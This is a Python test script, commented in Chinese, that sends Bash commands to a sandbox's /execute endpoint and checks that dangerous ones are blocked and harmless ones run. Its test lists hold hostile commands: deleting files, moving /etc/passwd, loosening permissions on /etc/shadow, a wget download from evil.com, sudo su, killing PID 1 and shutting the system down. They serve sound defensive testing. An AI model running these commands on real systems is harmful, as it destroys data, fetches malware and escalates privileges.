#!/usr/bin/env python3
"""
强化Bash安全机制测试
验证新的多层安全防护是否有效阻止高危命令
"""

import asyncio
import aiohttp
import time
import sys
import os

# 添加项目根目录到Python路径
sys.path.insert(0, os.path.join(os.path.dirname(__file__), '..'))

class EnhancedBashSecurityTester:
    """强化Bash安全机制测试器"""
    
    def __init__(self, base_url: str = "http://localhost:8000"):
        self.base_url = base_url
        self.session = None
    
    async def setup(self):
        """设置测试环境"""
        if not self.session:
            self.session = aiohttp.ClientSession()
    
    async def cleanup(self):
        """清理测试环境"""
        if self.session:
            await self.session.close()
    
    async def test_bash_command(self, name: str, code: str, expect_blocked: bool = True) -> bool:
        """测试Bash命令是否被正确处理"""
        print(f"  🧪 测试: {name}")
        
        if not self.session:
            await self.setup()
        
        request_data = {
            "code": code,
            "code_type": "bash",
            "user_info": {
                "user_id": f"bash_test_{int(time.time())}",
                "username": "Bash安全测试",
                "permissions": ["execute"]
            },
            "security_level": "low",
            "timeout_seconds": 10,
            "memory_limit_mb": 32,
            "cpu_limit": 0.5,
            "environment_vars": {}
        }
        
        try:
            # 提交任务
            assert self.session is not None
            async with self.session.post(f"{self.base_url}/execute", json=request_data) as response:
                if response.status != 200:
                    print(f"    ❌ 任务提交失败: HTTP {response.status}")
                    return False
                
                result = await response.json()
                if not result.get("success"):
                    print(f"    ❌ 任务提交失败: {result.get('message')}")
                    return False
                
                task_id = result["data"]["task_id"]
            
            # 等待结果
            for _ in range(15):  # 最多等待15秒
                await asyncio.sleep(1)
                assert self.session is not None
                async with self.session.get(f"{self.base_url}/result/{task_id}") as response:
                    if response.status == 200:
                        result = await response.json()
                        if result.get("success") and result.get("data"):
                            execution_result = result["data"]
                            status = execution_result.get("status")
                            output = execution_result.get("output", "")
                            error = execution_result.get("error", "")
                            
                            # 分析执行结果
                            if expect_blocked:
                                # 期望被阻止
                                if status == "failed":
                                    # 检查是否包含安全阻止的标志
                                    security_indicators = [
                                        "🚫 安全检查失败", "危险命令", "违规操作", 
                                        "被禁用", "ERROR:", "代码执行被阻止"
                                    ]
                                    
                                    if any(indicator in output + error for indicator in security_indicators):
                                        print(f"    ✅ 危险命令被成功阻止")
                                        print(f"       阻止信息: {(output + error)[:100]}...")
                                        return True
                                    else:
                                        print(f"    ❌ 执行失败但不是安全阻止")
                                        print(f"       输出: {output[:100]}...")
                                        print(f"       错误: {error[:100]}...")
                                        return False
                                else:
                                    print(f"    ❌ 危险命令未被阻止，执行状态: {status}")
                                    print(f"       输出: {output[:100]}...")
                                    return False
                            else:
                                # 期望正常执行
                                if status == "completed":
                                    print(f"    ✅ 安全命令正常执行")
                                    print(f"       输出: {output[:100]}...")
                                    return True
                                else:
                                    print(f"    ❌ 安全命令被误杀，状态: {status}")
                                    print(f"       错误: {error[:100]}...")
                                    return False
            
            print(f"    ❌ 等待结果超时")
            return False
            
        except Exception as e:
            print(f"    ❌ 测试异常: {e}")
            return False
    
    async def run_enhanced_security_tests(self):
        """运行强化安全机制测试"""
        print("🔒 开始测试强化Bash安全机制...\n")
        
        await self.setup()
        
        try:
            # === 文件系统攻击测试 ===
            print("📁 文件系统攻击测试:")
            
            file_attack_tests = [
                ("删除文件", "rm -rf /tmp/*", True),
                ("移动文件", "mv /etc/passwd /tmp/", True),
                ("修改权限", "chmod 777 /etc/shadow", True),
                ("创建硬链接", "ln /etc/passwd /tmp/passwd_link", True),
                ("查看敏感文件", "cat /etc/passwd", True),
            ]
            
            file_blocked = 0
            for name, code, expect_blocked in file_attack_tests:
                if await self.test_bash_command(name, code, expect_blocked):
                    file_blocked += 1
            
            print(f"\n📊 文件系统攻击阻止: {file_blocked}/{len(file_attack_tests)}")
            
            # === 网络攻击测试 ===
            print("\n🌐 网络攻击测试:")
            
            network_attack_tests = [
                ("下载恶意文件", "wget http://evil.com/malware -O /tmp/malware", True),
                ("HTTP请求", "curl http://httpbin.org/ip", True),
                ("端口扫描", "nc -zv 127.0.0.1 22", True),
                ("SSH连接", "ssh user@example.com", True),
                ("网络诊断", "ping google.com", True),
            ]
            
            network_blocked = 0
            for name, code, expect_blocked in network_attack_tests:
                if await self.test_bash_command(name, code, expect_blocked):
                    network_blocked += 1
            
            print(f"\n📊 网络攻击阻止: {network_blocked}/{len(network_attack_tests)}")
            
            # === 系统管理攻击测试 ===
            print("\n⚙️ 系统管理攻击测试:")
            
            system_attack_tests = [
                ("进程管理", "kill -9 1", True),
                ("服务管理", "systemctl stop ssh", True),
                ("用户管理", "useradd hacker", True),
                ("权限提升", "sudo su -", True),
                ("系统关机", "shutdown -h now", True),
            ]
            
            system_blocked = 0
            for name, code, expect_blocked in system_attack_tests:
                if await self.test_bash_command(name, code, expect_blocked):
                    system_blocked += 1
            
            print(f"\n📊 系统管理攻击阻止: {system_blocked}/{len(system_attack_tests)}")
            
            # === 信息收集攻击测试 ===
            print("\n🔍 信息收集攻击测试:")
            
            info_attack_tests = [
                ("进程信息", "ps aux", True),
                ("网络信息", "netstat -an", True),
                ("用户信息", "who", True),
                ("系统信息", "uname -a", True),
                ("环境变量", "env", True),
            ]
            
            info_blocked = 0
            for name, code, expect_blocked in info_attack_tests:
                if await self.test_bash_command(name, code, expect_blocked):
                    info_blocked += 1
            
            print(f"\n📊 信息收集攻击阻止: {info_blocked}/{len(info_attack_tests)}")
            
            # === 正常命令测试 ===
            print("\n✅ 正常命令测试:")
            
            normal_tests = [
                ("基本输出", "echo 'Hello, Bash Security!'", False),
                ("数学计算", "expr 10 + 20", False),
                ("变量操作", "NAME='World'; echo \"Hello $NAME\"", False),
                ("条件判断", "if [ 5 -gt 3 ]; then echo '5 > 3'; fi", False),
                ("循环操作", "for i in 1 2 3; do echo \"Number: $i\"; done", False),
            ]
            
            normal_passed = 0
            for name, code, expect_blocked in normal_tests:
                if await self.test_bash_command(name, code, expect_blocked):
                    normal_passed += 1
            
            print(f"\n📊 正常命令通过: {normal_passed}/{len(normal_tests)}")
            
            # === 总体统计 ===
            total_attack_tests = len(file_attack_tests) + len(network_attack_tests) + len(system_attack_tests) + len(info_attack_tests)
            total_attacks_blocked = file_blocked + network_blocked + system_blocked + info_blocked
            total_normal_tests = len(normal_tests)
            
            print("\n" + "="*60)
            print("🔒 强化Bash安全机制测试报告")
            print("="*60)
            print(f"攻击测试总数: {total_attack_tests}")
            print(f"成功阻止攻击: {total_attacks_blocked}")
            print(f"攻击阻止率: {total_attacks_blocked/total_attack_tests*100:.1f}%")
            print()
            print(f"正常命令测试: {total_normal_tests}")
            print(f"正常命令通过: {normal_passed}")
            print(f"误杀率: {(total_normal_tests-normal_passed)/total_normal_tests*100:.1f}%")
            print()
            
            # 安全等级评估
            if total_attacks_blocked / total_attack_tests >= 0.9 and normal_passed / total_normal_tests >= 0.8:
                security_level = "🟢 优秀"
            elif total_attacks_blocked / total_attack_tests >= 0.8 and normal_passed / total_normal_tests >= 0.7:
                security_level = "🟡 良好"
            elif total_attacks_blocked / total_attack_tests >= 0.6:
                security_level = "🟠 中等"
            else:
                security_level = "🔴 危险"
            
            print(f"安全等级: {security_level}")
            print("="*60)
            
        finally:
            await self.cleanup()

async def main():
    """主函数"""
    tester = EnhancedBashSecurityTester()
    await tester.run_enhanced_security_tests()

if __name__ == "__main__":
    asyncio.run(main()) 